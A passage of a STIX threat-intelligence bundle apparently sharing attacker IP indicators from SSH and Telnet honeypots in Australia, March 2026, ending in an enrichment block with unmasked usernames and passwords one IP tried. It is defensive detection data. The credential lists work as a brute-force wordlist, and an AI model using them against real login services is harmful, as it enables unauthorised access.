      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T18:15:03.000Z",
      "valid_until": "2026-05-02T18:15:01.000Z"
    },
    {
      "created": "2026-03-31T18:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 134761. Organisation(s): CHINANET NINGXIA province ZHONGWEI IDC network. Usernames observed (masked): r**t. Passwords observed (masked): t**p.",
      "id": "indicator--d47252db-7dc6-4af4-8164-84f8adda78a9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.103.222.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T18:15:03.000Z",
      "valid_until": "2026-05-02T18:15:01.000Z"
    },
    {
      "created": "2026-03-31T18:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 134365. Organisation(s): Ansheng Network Technology Co., Limited. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--145b9315-c8b9-47fd-ade8-4ef7ead03415",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.197.150.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T18:15:03.000Z",
      "valid_until": "2026-05-02T18:15:01.000Z"
    },
    {
      "created": "2026-03-31T18:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12714. Organisation(s): PJSC MegaFon.",
      "id": "indicator--5271a871-7248-4f96-af12-95e0c7675d0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T18:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '95.221.229.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T18:15:03.000Z",
      "valid_until": "2026-05-02T18:15:01.000Z"
    },
    {
      "created": "2026-03-31T19:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 30600. Organisation(s): Metronet.",
      "id": "indicator--6d2f9fdd-86c3-4c2a-82fc-eb62f8b5d31d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T19:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.221.222.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T19:15:09.000Z",
      "valid_until": "2026-05-02T19:15:01.000Z"
    },
    {
      "created": "2026-03-31T19:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4668. Organisation(s): LG CNS. Usernames observed (masked): r**t. Passwords observed (masked): P******6, k*******3, z*******5.",
      "id": "indicator--5141a8b3-6774-438e-a6db-46d9a144335b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T19:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '203.247.143.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T19:15:09.000Z",
      "valid_until": "2026-05-02T19:15:01.000Z"
    },
    {
      "created": "2026-03-31T19:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: SN. ASN(s): 8346. Organisation(s): SONATEL SONATEL-AS Autonomous System. Usernames observed (masked): e****e, r**t, **. Passwords observed (masked): s***l, s****m, t**r.",
      "id": "indicator--0e6a253d-40f3-4e0c-878d-926a24bf34dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T19:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.83.206.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T19:15:09.000Z",
      "valid_until": "2026-05-02T19:15:01.000Z"
    },
    {
      "created": "2026-03-31T19:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Heralding. Target ports: 5900. Source country: FR. ASN(s): 136787. Organisation(s): PacketHub S.A.. Passwords observed (masked): 1****6, a***n, p******d.",
      "id": "indicator--9386f48e-344f-4392-9b5d-0ee76308b79a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T19:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.84.137.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T19:15:09.000Z",
      "valid_until": "2026-05-02T19:15:01.000Z"
    },
    {
      "created": "2026-03-31T19:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--309cbda7-245f-44da-990b-4d2a39062dac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T19:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.127.106.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T19:15:09.000Z",
      "valid_until": "2026-05-02T19:15:01.000Z"
    },
    {
      "created": "2026-03-31T19:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--7cf3a018-9b97-4491-ae70-180435468339",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T19:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '72.255.32.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T19:15:09.000Z",
      "valid_until": "2026-05-02T19:15:01.000Z"
    },
    {
      "created": "2026-03-31T20:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited. Usernames observed (masked): e****e, r**t, **. Passwords observed (masked): s***l, s****m, t**r.",
      "id": "indicator--503dd674-a2f6-4987-bf03-87ae6f977a4c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T20:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.52.253.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T20:15:02.000Z",
      "valid_until": "2026-05-02T20:15:00.000Z"
    },
    {
      "created": "2026-03-31T20:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--7b658355-6d92-4ec3-80d5-273f72381969",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T20:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T20:15:02.000Z",
      "valid_until": "2026-05-02T20:15:00.000Z"
    },
    {
      "created": "2026-03-31T20:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9465. Organisation(s): AGOTOZ PTE. LTD.. Usernames observed (masked): A**********, G************1. Passwords observed (masked): , H**********************3.",
      "id": "indicator--bb33ef84-f8ef-4198-83e0-f197e442e529",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T20:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.142.154.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T20:15:02.000Z",
      "valid_until": "2026-05-02T20:15:00.000Z"
    },
    {
      "created": "2026-03-31T20:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 77. Sensors involved: Heralding. Target ports: 5900. Source country: RU. ASN(s): 216473. Organisation(s): Bashinskii Vadim Ruslanovich. Passwords observed (masked): 9**9, s****r, s*****t.",
      "id": "indicator--61212dd0-badd-49bd-95b5-ca142f3d9bdb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T20:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '80.66.83.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T20:15:02.000Z",
      "valid_until": "2026-05-02T20:15:00.000Z"
    },
    {
      "created": "2026-03-31T20:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--d45cfbef-b7a4-4288-9ffe-7b064b78409d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T20:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T20:15:02.000Z",
      "valid_until": "2026-05-02T20:15:00.000Z"
    },
    {
      "created": "2026-03-31T20:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--a68ba487-2542-45f7-a000-33e5b76e4fbe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T20:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T20:15:02.000Z",
      "valid_until": "2026-05-02T20:15:00.000Z"
    },
    {
      "created": "2026-03-31T20:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--86e892f1-3380-40f2-baa3-70d7cb83a292",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T20:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T20:15:02.000Z",
      "valid_until": "2026-05-02T20:15:00.000Z"
    },
    {
      "created": "2026-03-31T21:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--6e2a44c6-3a24-45ce-8dc9-a64dab4db53a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T21:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.66.229.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T21:15:03.000Z",
      "valid_until": "2026-05-02T21:15:01.000Z"
    },
    {
      "created": "2026-03-31T21:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 56045. Organisation(s): China Mobile communications corporation.",
      "id": "indicator--c68bd58b-5968-4698-bb96-2e817d00eeb8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T21:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '223.83.114.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T21:15:03.000Z",
      "valid_until": "2026-05-02T21:15:01.000Z"
    },
    {
      "created": "2026-03-31T21:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 202412. Organisation(s): Omegatech LTD.",
      "id": "indicator--76d009e5-279c-4122-a7fd-3fec52f95649",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T21:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.92.243.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T21:15:03.000Z",
      "valid_until": "2026-05-02T21:15:01.000Z"
    },
    {
      "created": "2026-03-31T21:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
      "id": "indicator--4392c0f4-5f57-43f4-b592-6c310c3d8120",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T21:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '94.243.12.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T21:15:03.000Z",
      "valid_until": "2026-05-02T21:15:01.000Z"
    },
    {
      "created": "2026-03-31T22:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: DZ. ASN(s): 36947. Organisation(s): Telecom Algeria. Usernames observed (masked): e****e, r**t, **. Passwords observed (masked): s***l, s****m, t**r.",
      "id": "indicator--74f2a757-60d1-4b38-9c4e-98b96c07523f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '105.111.167.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T22:15:04.000Z",
      "valid_until": "2026-05-02T22:15:01.000Z"
    },
    {
      "created": "2026-03-31T22:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: DE. ASN(s): 60729. Organisation(s): Stiftung Erneuerbare Freiheit.",
      "id": "indicator--5b8a7905-40d4-4d07-af23-10d0a5cfc1ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T22:15:04.000Z",
      "valid_until": "2026-05-02T22:15:01.000Z"
    },
    {
      "created": "2026-03-31T22:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology.",
      "id": "indicator--57ccfd66-641c-4328-83b5-c4d192ced9d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T22:15:04.000Z",
      "valid_until": "2026-05-02T22:15:01.000Z"
    },
    {
      "created": "2026-03-31T22:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--657be241-58a6-49c3-bdcd-bff4ea43dce9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T22:15:04.000Z",
      "valid_until": "2026-05-02T22:15:01.000Z"
    },
    {
      "created": "2026-03-31T22:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 35588. Organisation(s): Telecompany LiS LTD. Usernames observed (masked): e****e, r**t, **. Passwords observed (masked): s***l, s****m, t**r.",
      "id": "indicator--b8b5c361-df9a-49bb-a6b9-cbd4db23d78b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.33.50.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T22:15:04.000Z",
      "valid_until": "2026-05-02T22:15:01.000Z"
    },
    {
      "created": "2026-03-31T22:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--833c2cfb-d125-4cc0-b939-49c78df478bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T22:15:04.000Z",
      "valid_until": "2026-05-02T22:15:01.000Z"
    },
    {
      "created": "2026-03-31T22:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--e51278c9-5d79-4ac7-b676-150521a6e9e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T22:15:04.000Z",
      "valid_until": "2026-05-02T22:15:01.000Z"
    },
    {
      "created": "2026-03-31T22:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--08cd7a19-8624-4105-88ce-a6e1368f12ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.224.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T22:15:04.000Z",
      "valid_until": "2026-05-02T22:15:01.000Z"
    },
    {
      "created": "2026-03-31T23:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): a***n, b*********e, o******r, s**c. Passwords observed (masked): 7****6, c****1, o******r, t*****x.",
      "id": "indicator--ad3943e9-46a5-4958-895b-0dc4a4ad5e82",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T23:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.110.145.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T23:15:04.000Z",
      "valid_until": "2026-05-02T23:15:01.000Z"
    },
    {
      "created": "2026-03-31T23:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 49558. Organisation(s): IT-Yaroslavl Ltd.. Usernames observed (masked): e****e, r**t, **. Passwords observed (masked): s***l, s****m, t**r.",
      "id": "indicator--f5fa43f4-2106-468d-af6b-a0a0cb23daa0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T23:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '194.4.164.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T23:15:04.000Z",
      "valid_until": "2026-05-02T23:15:01.000Z"
    },
    {
      "created": "2026-03-31T23:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--ed0a506b-c46f-41e4-a5a6-0671d9499e2c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T23:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T23:15:04.000Z",
      "valid_until": "2026-05-02T23:15:01.000Z"
    },
    {
      "created": "2026-03-31T23:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 446. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, t**t, s*****t, u**r. Passwords observed (masked): a***n, 1**4, p******d, 1***5, a******3.",
      "id": "indicator--de9c1c3b-58f3-435c-8e8b-89ec29de3409",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T23:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.79.7.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T23:15:04.000Z",
      "valid_until": "2026-05-02T23:15:01.000Z"
    },
    {
      "created": "2026-03-31T23:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 56041. Organisation(s): China Mobile communications corporation.",
      "id": "indicator--ea9c9cae-7588-4ad1-b0ea-9a7eff961959",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T23:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '39.187.126.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T23:15:04.000Z",
      "valid_until": "2026-05-02T23:15:01.000Z"
    },
    {
      "created": "2026-03-31T23:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Heralding. Target ports: 5432. Source country: BG. ASN(s): 213438. Organisation(s): ColocaTel Inc.. Usernames observed (masked): p******s, a*****w, p*************s, p*********************d, p******c. Passwords observed (masked): y******************************************d, 8******************************5, a*****w, a********3, p******d.",
      "id": "indicator--20e59cd0-b8ec-4a54-a501-1777571b714e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-31T23:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '85.11.167.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T23:15:04.000Z",
      "valid_until": "2026-05-02T23:15:01.000Z"
    }
  ],
  "spec_version": "2.1",
  "type": "bundle",
  "x_nadsec_enrichment": {
    "enriched_at": "2026-03-31T23:41:44.813398+00:00",
    "sensor": "cowrie",
    "sensor_type": "ssh_telnet_honeypot",
    "month": "2026-03",
    "ip_count": 5405,
    "total_attacks": 1206260,
    "total_sessions": 218955
  },
  "x_nadsec_ip_context": {
    "193.32.162.151": {
      "attack_count": 2303,
      "first_seen": "2026-03-02T18:00:48.271Z",
      "last_seen": "2026-03-30T08:42:54.012Z",
      "sessions": 460,
      "ports": [],
      "usernames_attempted": [
        "oracle",
        "mysql",
        "hadoop",
        "nexus",
        "admin",
        "hduser",
        "loginuser",
        "master",
        "epsuser",
        "user",
        "root",
        "kryan",
        "azureuser",
        "nadiah",
        "Admin",
        "ansible",
        "dbuser",
        "display",
        "docker",
        "gns3"
      ],
      "passwords_attempted": [
        "password",
        "12345678",
        "123456",
        "p@ssw0rd",
        "1qaz@WSX",
        "root",
        "admin",
        "admin@123",
        "hadoop",
        "master",
        "oracle123",
        "q1w2e3r4",
        "qwer1234",
        "admin123",
        "12345",
        "1234567890",
        "1q2w3e4r",
        "1qaz@WSX3edc",
        "Admin1234",
        "Oracle1234"
